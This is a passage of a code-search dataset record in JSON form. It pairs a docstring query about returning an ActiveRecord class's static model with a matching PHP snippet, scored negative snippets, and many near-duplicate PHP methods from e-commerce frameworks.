authenticated user\n if(! $request->user()->id or ! $request->shop_id){\n return Response::json([\n 'error' => [\n 'message' => 'Please Provide Both Shop and User'\n ]\n ], 422);\n }\n \n /*tarkistetaan onko käyttäjällä jo tätä kauppaa\n $usershop = DB::table('user_shops')->where([\n \t['shop_id', '=', $request->shop_id],\n \t['user_id', '=', $request->user()->id],\n\t\t])->get();*/\n\n\t\t//käydään katsomassa onko käyttäjällä jo tämä kauppa\n\t\t$usershop = $this-> isthisshop($request);\n\n //jos on niin keskeytetään lisäys\n if ($usershop){\n \treturn Response::json([\n 'error' => [\n 'message' => 'You allready have this shop!'\n ]\n ], 422);\n }\n \n //luodaan uusi kauppa käyttäjälle\n $usershop = UserShop::create([\n \t'shop_id' => $request->shop_id,\n \t'user_id' => $request->user()->id\n \t]);\n \n return Response::json([\n 'message' => 'Shop Created Succesfully',\n 'data' => $this->transform($usershop)\n ]);\n }", "public function getUserData()\n {\n $system = Shopware()->System();\n $userData = $this->admin->sGetUserData();\n if (!empty($userData['additional']['countryShipping'])) {\n $sTaxFree = false;\n if (!empty($userData['additional']['countryShipping']['taxfree'])) {\n $sTaxFree = true;\n } elseif (\n !empty($userData['additional']['countryShipping']['taxfree_ustid'])\n && !empty($userData['billingaddress']['ustid'])\n && $userData['additional']['country']['id'] == $userData['additional']['countryShipping']['id']\n ) {\n $sTaxFree = true;\n }\n\n $system->sUSERGROUPDATA = Shopware()->Db()->fetchRow(\"\n SELECT * FROM s_core_customergroups\n WHERE groupkey = ?\n \", array($system->sUSERGROUP));\n\n if (!empty($sTaxFree)) {\n $system->sUSERGROUPDATA['tax'] = 0;\n $system->sCONFIG['sARTICLESOUTPUTNETTO'] = 1; //Old template\n Shopware()->Session()->sUserGroupData = $system->sUSERGROUPDATA;\n $userData['additional']['charge_vat'] = false;\n $userData['additional']['show_net'] = false;\n Shopware()->Session()->sOutputNet = true;\n } else {\n $userData['additional']['charge_vat'] = true;\n $userData['additional']['show_net'] = !empty($system->sUSERGROUPDATA['tax']);\n Shopware()->Session()->sOutputNet = empty($system->sUSERGROUPDATA['tax']);\n }\n }\n\n return $userData;\n }", "function gcf_ShopOrderOwningBundle($iShopOrderItemId, $row, $fieldName)\n{\n $sOwner = '&nbsp;';\n $oOrdeItem = TdbShopOrderItem::GetNewInstance();\n /** @var $oOrdeItem TdbShopOrderItem */\n $oOrdeItem->Load($iShopOrderItemId);\n $oOwner = $oOrdeItem->GetOwningBundleOrderItem();\n if ($oOwner) {\n $sOwner = TGlobal::OutHTML($oOwner->fieldName);\n }\n\n return $sOwner;\n}", "public function ownerdetail()\n\t{\n\t\t\t$ownerId = base64_decode($this->uri->segment(3));\n\t\t\tif($this->session->userdata('userid') == ''){redirect(ADMIN_URL.'index');} \n\t\t\t$userdata = $this->session->userdata();\n\t\t\t//$getallownerlist = $this->UserModel->getallownerlist();\n\t\t\t$getOwnerById = $this->UserModel->getOwnerById($ownerId);\n\t\t //\t echo '<pre>'; print_r(json_decode($getOwnerById)); die;\n\t\t\t$ownerdetails = json_decode($getOwnerById);\n\t\t\t$ownerprocess = $ownerdetails[0]->processes_id;\n\t\t\t$ownerSubprocess = $ownerdetails[0]->sub_processes_id;\n\t\t\t$getprocssesById = $this->UserModel->getprocessesByMultiId($ownerprocess);\n\t\t\t$getSubprocssesById = $this->UserModel->getSubprocessesByMultiId($ownerSubprocess);\n\t\t\t$getallprocesses = $this->UserModel->getallprocesses();\n\t\t\t$getAlldivision = $this->UserModel->getAlldivision(); \n\n\t\t\t$getcontractorByOenerId = $this->UserModel->getcontractorByOenerId($ownerId) ;\n\t\t\t//echo '<pre>'; print_r(json_decode($getcontractorByOenerId)); die;\n\t\t\t$data = array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'usedata' \t\t\t\t=> $userdata,\n\t\t\t\t\t\t\t'getstation' \t\t\t=> \t$this->getstation,\n\t\t\t\t\t\t\t'getprcesses' \t\t\t=>\t$this->getprcesses,\n\t\t\t\t\t\t\t'getorganization' \t\t=> \t$this->getorganization,\n\t\t\t\t\t\t\t'getuserById'\t\t\t=>\tjson_decode($getOwnerById),\n\t\t\t\t\t\t\t'getprocssesById'\t\t=>\t$getprocssesById,\n\t\t\t\t\t\t\t'getSubprocssesById'\t=>\t$getSubprocssesById,\n\t\t\t\t\t\t\t'getallprocesses'\t\t=>\t$getallprocesses,\n\t\t\t\t\t\t\t'getAlldivision'\t\t=>\t$getAlldivision\t\t\t\n\t\t\t\t\t\t);\n\n\t\t\t$this->load->view('admin/ownerdetails',$data);\n\t}", "public function getToolOwnerAttribute() {\n\t\t//\n\t\t$user = User::getIndex(Session::get('user_uid'));\n\t\tif ($user) {\n\n\t\t\t// fetch owner information\n\t\t\t//\n\t\t\t$owner = Owner::getIndex($this->tool_owner_uuid);\n\t\t\tif ($owner) {\n\t\t\t\treturn $owner->toArray();\n\t\t\t}\n\t\t}\n\t}", "public function hookActionShopDataDuplication($params)\r\n\t{\r\n\t\tDb::getInstance()->execute('\r\n\t\tINSERT IGNORE INTO '._DB_PREFIX_.'staticblock_shop (id_staticblock, id_shop, is_active)\r\n\t\tSELECT id_staticblock, '.(int)$params['new_id_shop'].', is_active\r\n\t\tFROM '._DB_PREFIX_.'staticblock_shop\r\n\t\tWHERE id_shop = '.(int)$params['old_id_shop']);\r\n\t\t\r\n\t\t//duplicate hometab language for shop\r\n\t\tDb::getInstance()->execute('\r\n\t\tINSERT IGNORE INTO '._DB_PREFIX_.'staticblock_lang (id_staticblock, id_lang, id_shop, title, content)\r\n\t\tSELECT id_staticblock, id_lang, '.(int)$params['new_id_shop'].', title, content\r\n\t\tFROM '._DB_PREFIX_.'staticblock_lang\r\n\t\tWHERE id_shop = '.(int)$params['old_id_shop']);\r\n\t}", "function dokan_get_store_info( $seller_id ) {\n $info = get_user_meta( $seller_id, 'dokan_profile_settings', true );\n $info = is_array( $info ) ? $info : array();\n\n $defaults = array(\n 'store_name' => '',\n 'social' => array(),\n 'payment' => array( 'paypal' => array( 'email' ), 'bank' => array() ),\n 'phone' => '',\n 'show_email' => 'off',\n 'address' => '',\n 'location' => '',\n 'banner' => 0\n );\n\n $info = wp_parse_args( $info, $defaults );\n\n return $info;\n}", "protected function _prepareSaveData($data = array())\n {\n $data = parent::_prepareSaveData($data);\n\n if (!array_key_exists('user_id', $data) && $this->_userId !== null) {\n $data['user_id'] = $this->_userId;\n }\n\n if (!array_key_exists('refund_flag', $data) && $this->_refundFlag !== null) {\n $data['refund_flag'] = $this->_refundFlag;\n }\n\n if (!array_key_exists('listing_id', $data) && $this->_listingId !== null) {\n $data['listing_id'] = $this->_listingId;\n }\n\n if (!array_key_exists('sale_id', $data) && $this->_saleId !== null) {\n $data['sale_id'] = $this->_saleId;\n }\n\n if (!array_key_exists('gateway_id', $data) && $this->_gatewayId !== null) {\n $data['gateway_id'] = $this->_gatewayId;\n }\n\n return $data;\n }", "function manageshop( $args )\n {\n \n // manage shop title, can be over ridden\n $this->view->add('page_title','Manage Shop');\n \n /* =====================\n * Set up default values\n */\n \n // display name default\n $this->view->add('display_name_value', '' );\n \n // name default\n $this->view->add('name_value', '' );\n \n // description default\n $this->view->add('description_value', '');\n \n // order default\n $this->view->add('category_order_value', '');\n \n // parent id default\n $this->view->add('parentid_value', 0);\n \n \n // if tool is not null\n if( $args['tool'] != null ){\n \n // use our fancy tool box\n if( $func = $this->manage_toolbox($args['tool'], $this) ) {\n \n // check fro success, default to no\n $success = false;\n \n // choose tool and execute\n $success = $func($this);\n }\n }\n \n \n \n /* ===========\n * Other stuff\n */\n \n // over ride admin link\n $this->view->add('self_link', \n $this->app->form_path('admin/manageshop/') );\n \n // pass categories to the thing\n $categories = $this->app->model('categories')->\n get_category_children(0);\n \n // add categories to view\n $this->view->add( 'categories', $categories );\n \n }", "public function getSshop()\n {\n return $this->get(self::_SSHOP);\n }", "public function getSshop()\n {\n return $this->get(self::_SSHOP);\n }", "public function getSshop()\n {\n return $this->get(self::_SSHOP);\n }", "function setVakoImage($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n /* you can itentify the vako with $object->reference->ShopId */ \n}", "public function edit(Shop $shop)\n {\n //\n }", "public function adminSalesOrderCreateProcessDataBefore($observer)\n {\n if(Mage::getStoreConfig('carriers/shipper/active')) {\n $post = $observer->getRequestModel()->getPost();\n if(isset($post['order'])) {\n $data = $post['order'];\n\n $found = false;\n $customCarrierGroupData = array();\n $carriergroupId = isset($data['carriergroup_id']) ? $data['carriergroup_id'] : '';\n if (isset($data['shipping_amount'])) {\n $customCarrierGroupData[$carriergroupId] = array('customPrice' => $data['shipping_amount'], 'carriergroup' => $carriergroupId);\n $found = true;\n }\n\n if (isset($data['shipping_description'])) {\n if(array_key_exists($carriergroupId, $customCarrierGroupData)) {\n $shipArray = $customCarrierGroupData[$carriergroupId];\n $shipArray['customCarrier'] = $data['shipping_description'];\n $customCarrierGroupData[$carriergroupId] = $shipArray;\n }\n else {\n $customCarrierGroupData[$carriergroupId] = array('customCarrier' => $data['shipping_description'], 'carriergroup' => $carriergroupId);\n }\n $found = true;\n }\n\n if ($found) {\n $shippingAddress = $observer->getSession()->getQuote()->getShippingAddress();\n Mage::helper('shipperhq_shipper')->cleanDownRatesCollection($shippingAddress, 'shipperadmin', '');\n Mage::register('shqadminship_data', new Varien_Object($customCarrierGroupData));\n $storedLimitCarrier = $shippingAddress->getLimitCarrier();\n $shippingAddress->setLimitCarrier('shipperadmin');\n $rateFound = $shippingAddress->requestShippingRates();\n $shippingAddress->setLimitCarrier($storedLimitCarrier);\n } else {\n Mage::unregister('shqadminship_data');\n }\n }\n }\n }", "function products_table(){\n\n $collection = collect_find('Products');\n\n $products = $collection->find();\n\n foreach ($products as $item) {\n\n $id = ((array) $item['_id'])['oid'];\n $item = (array) $item;\n cms_user($item['name'], $item['price'],$item['stock'], $id);\n \n }\n}", "public function prepareData($shipping_info)\n {\n $this->shipping_info = $shipping_info;\n $this->company_id = Registry::get('runtime.company_id');\n }", "public function shop()\n {\n return $this->belongsTo('App\\Model\\Shop');\n }", "public function fetchData()\n\t{\n\t\t$this->items = Rights::getAuthorizer()->getAuthItemChildren($this->owner->name);\n\t\treturn parent::fetchData();\n\t}", "public function GetAllOwnedShop($id)\n {\n $validator = Validator::make(['User' => $id], [\n 'User' => ['required', 'integer'],\n ]);\n\n if($validator->fails())\n return NULL;\n\n return ShopOwner::where('OwnerId', $id)->orderBy('ShopId', 'asc')->get();\n }", "private function alterOrderInformation()\n {\n if (version_compare(Shopware()->Config()->get( 'Version' ), '5.2.0', '<')) {\n $sql = \"UPDATE `s_core_snippets`\n SET `value` = CASE\n WHEN `value` = 'Free text 4' THEN 'Transaction ID'\n WHEN `value` = 'Freitextfeld 4' THEN 'Transaktions-ID'\n ELSE `value`\n END\n WHERE `namespace` = 'backend/order/main'\n AND `value` IN ('Freitextfeld 4', 'Free text 4')\";\n } elseif (version_compare(Shopware()->Config()->get( 'Version' ), '5.2.0', '>=')) {\n $sql = \"INSERT INTO `s_attribute_configuration` (table_name, column_name, \"\n . \"column_type, position, translatable, display_in_backend, custom, \"\n . \"help_text, support_text, label, entity, array_store) \"\n . \"VALUES ('s_order_attributes','attribute4','string',1,0,1,0,'','','Transaction ID','NULL',NULL)\";\n }\n Shopware()->Db()->query($sql);\n }", "final public function addItemOwner() {\n $this->addUserByField('users_id', true);\n }", "public function getUserData()\r\n {\r\n $system = Shopware()->System();\r\n $userData = $this->admin->sGetUserData();\r\n if (!empty($userData['additional']['countryShipping'])) {\r\n $sTaxFree = false;\r\n if (!empty($userData['additional']['countryShipping']['taxfree'])) {\r\n $sTaxFree = true;\r\n } elseif (\r\n !empty($userData['additional']['countryShipping']['taxfree_ustid'])\r\n && !empty($userData['billingaddress']['ustid'])\r\n && $userData['additional']['country']['id'] == $userData['additional']['countryShipping']['id']\r\n ) {\r\n $sTaxFree = true;\r\n }\r\n\r\n $system->sUSERGROUPDATA = Shopware()->Db()->fetchRow(\"\r\n SELECT * FROM s_core_customergroups\r\n WHERE groupkey = ?\r\n \", array($system->sUSERGROUP));\r\n\r\n if (!empty($sTaxFree)) {\r\n $system->sUSERGROUPDATA['tax'] = 0;\r\n $system->sCONFIG['sARTICLESOUTPUTNETTO'] = 1; //Old template\r\n Shopware()->Session()->sUserGroupData = $system->sUSERGROUPDATA;\r\n $userData['additional']['charge_vat'] = false;\r\n $userData['additional']['show_net'] = false;\r\n Shopware()->Session()->sOutputNet = true;\r\n } else {\r\n $userData['additional']['charge_vat'] = true;\r\n $userData['additional']['show_net'] = empty($system->sUSERGROUPDATA['tax']);\r\n Shopware()->Session()->sOutputNet = empty($system->sUSERGROUPDATA['tax']);\r\n }\r\n }\r\n\r\n return $userData;\r\n }", "public function convertSaleItemsData();", "protected function _prepareCollection() {\n $session = Mage::getModel('core/session');\n $filterConditions = $session->getData('rp_conditions');\n if (!$filterConditions)\n $filterConditions = $this->_filterConditions;\n $posorderCollection = Mage::getModel('webpos/posorder')->getCollection();\n /* Jack - create an empty collection */\n $collection = $posorderCollection;\n foreach ($collection->getItems() as $key => $item) {\n $collection->removeItemByKey($key);\n }\n /**/\n\n /* Define variables and set default data */\n $totalsSalesByUser = array();\n $totalSales = 0;\n $incTimeStrings = array('1' => ' +1 week', '2' => ' +1 day', '3' => ' +1 month', '4' => ' +1 day', '5' => ' +1 day', '6' => ' +1 week', '7' => ' +1 week');\n $descTimeStrings = array('4' => ' -1 week', '5' => ' -1 week', '6' => ' -1 month', '7' => ' -1 month');\n $periodFormat = ($filterConditions['period'] == 3 || $filterConditions['period'] == 6 || $filterConditions['period'] == 7 ) ? \"Y-m-d\" : \"Y-m-d\";\n $specialPeriod = array('1', '2', '3', '4');\n $stringTimeFrom = array('1' => 'monday this week', '2' => 'monday last week', '3' => 'first day of this month', '4' => 'first day of previous month');\n $stringTimeTo = array('1' => 'sunday this week', '2' => 'sunday last week', '3' => 'last day of this month', '4' => 'last day of previous month');\n $thisFriday = date($periodFormat, strtotime('friday this week'));\n $today = date($periodFormat);\n $userIds = $this->userIds;\n if (($filterConditions['from'] == '' || $filterConditions['to'] == '' ) && in_array($filterConditions['period'], $specialPeriod) == false) {\n $this->setCollection($collection);\n return parent::_prepareCollection();\n }\n\n $startTime = (in_array($filterConditions['range'], $specialPeriod)) ? (date($periodFormat, strtotime($stringTimeFrom[$filterConditions['range']]))) : date($periodFormat, strtotime($filterConditions['from']));\n $timeFrom = (in_array($filterConditions['range'], $specialPeriod)) ? (date($periodFormat, strtotime($stringTimeFrom[$filterConditions['range']]))) : date($periodFormat, strtotime($filterConditions['from']));\n $timeTo = (in_array($filterConditions['range'], $specialPeriod)) ? (date($periodFormat, strtotime($stringTimeTo[$filterConditions['range']]))) : date(\"Y-m-d\", strtotime($filterConditions['to']));\n if ($timeFrom && $timeTo) {\n while ($timeFrom <= $timeTo) {\n $i = 0;\n foreach ($this->userIds as $userId => $displayName) {\n $isSave = true;\n $totalSalesOfPeriod = 0;\n $isEmpty = true;\n if ($filterConditions['period'] == 1) {\n $endTime = $this->lastDayOf('year', new DateTime($timeFrom))->format('Y-m-d');\n } else if ($filterConditions['period'] == 3) {\n $endTime = $this->lastDayOf('month', new DateTime($timeFrom))->format('Y-m-d');\n } else\n $endTime = date('Y-m-d', strtotime($timeFrom . $incTimeStrings[$filterConditions['period']]));\n $endTime = (strtotime($endTime) < strtotime($timeTo)) ? $endTime : $timeTo;\n $itemDataObject = new Varien_Object();\n if ($i == 0) {\n if ($filterConditions['period'] == 1) {\n $exTimeFrom = explode('-', $timeFrom);\n $itemDataObject->setData('period', $exTimeFrom[0]);\n } else if ($filterConditions['period'] == 3) {\n $exTimeFrom = explode('-', $timeFrom);\n $itemDataObject->setData('period', $exTimeFrom[0] . '-' . $exTimeFrom[1]);\n } else\n $itemDataObject->setData('period', $timeFrom);\n } else\n $itemDataObject->setData('period', '');\n if ($itemDataObject->getData('period'))\n $itemDataObject->setData('period', date('F j, Y', strtotime($itemDataObject->getData('period'))));\n $webposOrderCollection = $this->getSalesCollection($timeFrom, $endTime, array('user_id' => $userId));\n $totalU = 0;\n if (count($webposOrderCollection) > 0) {\n foreach ($webposOrderCollection as $order) {\n $totalU += $order->getTotals();\n }\n }\n if (!$totalU && $filterConditions['rp_settings']['show_empty_result'] == 'false')\n $isSave = false;\n\n if ($isSave) {\n $itemDataObject->setData('user', $displayName);\n\n $itemDataObject->setData('totals_sales', ($totalU > 0) ? $totalU : '0.00');\n $collection->addItem($itemDataObject);\n }\n $i++;\n }\n if ($filterConditions['period'] == 1)\n $timeFrom = date('Y-m-d', strtotime($endTime));\n else\n $timeFrom = date($periodFormat, strtotime($timeFrom . $incTimeStrings[$filterConditions['period']]));\n }\n /* get last item data \n $i = 0;\n foreach($this->userIds as $userId => $displayName){\n $isSave = true;\n $beforeLastItem = new Varien_Object();\n if($i == 0){\n if($filterConditions['period'] == 1){\n $exTimeFrom = explode('-',$timeTo);\n $beforeLastItem->setData('period',$exTimeFrom[0]);\n }\n else if($filterConditions['period'] == 3){\n $exTimeFrom = explode('-',$timeTo);\n $beforeLastItem->setData('period',$exTimeFrom[0].'-'.$exTimeFrom[1]);\n }\n else\n $beforeLastItem->setData('period',$timeTo);\n }\n else\n $beforeLastItem->setData('period','');\n if($beforeLastItem->getData('period'))\n $beforeLastItem->setData('period',date('F j, Y', strtotime($beforeLastItem->getData('period'))));\n $webposOrderCollection = $this->getSalesCollection($timeTo,$timeTo,array('user_id' => $userId))->getFirstItem();\n if( !$webposOrderCollection->getTotals() && $filterConditions['rp_settings']['show_empty_result'] == 'false')\n $isSave = false;\n if($isSave){\n $beforeLastItem->setData('user',$displayName);\n $beforeLastItem->setData('totals_sales',$webposOrderCollection->getTotals()?$webposOrderCollection->getTotals():'0.00');\n $collection->addItem($beforeLastItem);\n }\n $i++;\n }\n end last item */\n }\n /* set data for totals row */\n $lastItemDataObject = new Varien_Object();\n $lastItemDataObject->setData('period', 'Totals:');\n $orders = $this->getSalesTotal($startTime, $endTime);\n\n $totalU = 0;\n if (count($orders) > 0) {\n foreach ($orders as $order) {\n $totalU += $order->getTotals();\n }\n }\n $lastItemDataObject->setData('totals_sales', $totalU);\n $collection->addItem($lastItemDataObject);\n $this->setCollection($collection);\n /* set session for chart */\n $sessionObject = new Varien_Object();\n foreach ($this->userIds as $userId => $username) {\n $orders = $this->getSalesTotal($startTime, $endTime, array('user_id' => $userId));\n\n\n $totalU = 0;\n if (count($orders) > 0) {\n foreach ($orders as $order) {\n $totalU += $order->getTotals();\n }\n }\n $sessionObject->setData($username, $totalU);\n }\n Mage::getSingleton('core/session')->setData('total_sales_by_user', $sessionObject->toArray());\n Mage::getSingleton('core/session')->setType('user');\n $this->setTotalRowByUser($sessionObject->toArray());\n return parent::_prepareCollection();\n }", "public function store(Request $request)\n {\n //\n $shop = Shop::find($request->id_shop);\n \n $shop->address_shop = $request->get('address_shop');\n \n $shop->save();\n\n\n return response()->json('Users Updated Successfully.');\n }", "public function updateProductAttributeShop($data)\n {\n $where = array(1);\n $where_sql = '';\n if (isset($data['id_product_attribute'])) {\n $where[] = 'id_product_attribute = '.(int) $data['id_product_attribute'];\n }\n if (isset($data['id_shop'])) {\n $where[] = 'id_shop = '.(int) $data['id_shop'];\n }\n if (!empty($where)) {\n $where_sql = implode(' AND ', $where);\n }\n $db = Db::getInstance();\n $sql = \"SELECT id_product_attribute \";\n $sql .= ' FROM '._DB_PREFIX_.'product_attribute_shop';\n $sql .= ' WHERE '.$where_sql;\n $id_product_attribute = $db->getValue($sql, false);\n if (empty($id_product_attribute)) {\n $db->insert('product_attribute_shop', $data);\n } else {\n $db->update('product_attribute_shop', $data, $where_sql);\n }\n return true;\n }", "public function setOwner($owner) {\n\t\t$this->owner = $owner;\n\t}", "public function setOwner($owner) {\n\t\t$this->owner = $owner;\n\t}", "function my_update_first_and_last_name_after_checkout($user_id)\n{\n\tif(isset($_REQUEST['ep_special']))\n\t{\n\t\t$ep_special = $_REQUEST['ep_special'];\n\t}\n\telseif(isset($_SESSION['ep_special']))\n\t{\n\t\t//maybe in sessions?\n\t\t$ep_special = $_SESSION['ep_special'];\n\t\t\n\t\t//unset\n\t\tunset($_SESSION['ep_special']);\n\t}\n\t\n\tif(isset($ep_special))\t\n\t\tupdate_user_meta($user_id, \"ep_special\", $ep_special);\n}", "protected function handleOwner()\n {\n if ( !ezcBaseFeatures::hasFunction( 'posix_getpwuid' ) )\n {\n return;\n }\n\n $t =& $this->properties;\n\n if ( posix_geteuid() === 0 && isset( $t['userName'] ) && $t['userName'] !== '' )\n {\n if ( ( $userName = posix_getpwnam( $t['userName'] ) ) !== false )\n {\n $t['userId'] = $userName['uid'];\n }\n if ( ( $groupName = posix_getgrnam( $t['groupName'] ) ) !== false )\n {\n $t['groupId'] = $groupName['gid'];\n }\n }\n }", "protected function prepareMyData(){\n\t\tglobal $C;\n if( $this->id > 0 ){\n $this->get( \"`id`={$this->id}\" );\n $this->unstoreSfield();\n }\n\t\t$C->setID( $this->data['parent'] );\n\t\t$C->get( \"`id`={$this->data['parent']}\" );\n\t\t$C->unstoreSfield();\n $p = $C->getData();\n if( is_array( $p ) ){\n\t\t\tT::assign( \"parent\", $p[\"name\"] );\n\t\t\t$fieldlist=array();\n if( is_array( $p[\"fields\"] ) )\n foreach( $p[\"fields\"] as $key => $item ){\n $fieldlist[] = array( \"cnt\" => $key, \"name\" => $item, \"value\"=> $this->data[$this->sfield][$key] );\n }\n\t\t\tT::assign( \"fieldlist\", $fieldlist );\n }\n\t\tT::assign( \"f\", $this->sfield );\n\t\tT::assign( \"item\",$this->data );\t\t\n\t}" ]
[ "0.616478", "0.61287767", "0.56443775", "0.5619218", "0.5545131", "0.55315524", "0.5518456", "0.55118996", "0.54526216", "0.5360183", "0.53374684", "0.5271754", "0.52563375", "0.52062273", "0.51917964", "0.5160362", "0.51453024", "0.5120189", "0.5112466", "0.506864", "0.50657976", "0.5039429", "0.5032464", "0.50324446", "0.5011701", "0.49756366", "0.49526364", "0.49318287", "0.49024054", "0.4901937", "0.48998404", "0.48977783", "0.48931336", "0.48860937", "0.48712483", "0.48689935", "0.48665866", "0.485738", "0.48519257", "0.48412436", "0.4840515", "0.48324114", "0.48318592", "0.48301852", "0.4818738", "0.48088104", "0.48059395", "0.48040938", "0.48019746", "0.47899222", "0.4764997", "0.4764232", "0.4756258", "0.4752565", "0.47491264", "0.47416905", "0.47402254", "0.4738313", "0.4736852", "0.4736852", "0.4736813", "0.47358203", "0.4729593", "0.47293654", "0.47293654", "0.47293654", "0.4727003", "0.47237867", "0.47235292", "0.47225302", "0.47172982", "0.4715645", "0.47098717", "0.47065574", "0.4705983", "0.4702272", "0.46913412", "0.46885505", "0.46869752", "0.46869752", "0.46869752", "0.46859288", "0.46857142", "0.46822613", "0.46819475", "0.46818188", "0.4663852", "0.46611118", "0.46603194", "0.46563432", "0.46548823", "0.4653951", "0.46532327", "0.46503156", "0.46488982", "0.46482676", "0.46455646", "0.46455646", "0.46428007", "0.4634881", "0.46302137" ]
0.0
-1
Returns the static model of the specified AR class.
public static function model($className = __CLASS__) { return parent::model($className); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function model()\r\n {\r\n return static::class;\r\n }", "public static function model() {\n return parent::model(get_called_class());\n }", "public static function model($class = __CLASS__)\n {\n return parent::model($class);\n }", "public static function model($class = __CLASS__)\n\t{\n\t\treturn parent::model(get_called_class());\n\t}", "static public function model($className = __CLASS__)\r\n {\r\n return parent::model($className);\r\n }", "public static function model($className=__CLASS__) { return parent::model($className); }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return CActiveRecord::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className=__CLASS__)\n {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }", "public static function model($className = __CLASS__) {\n return parent::model($className);\n }" ]
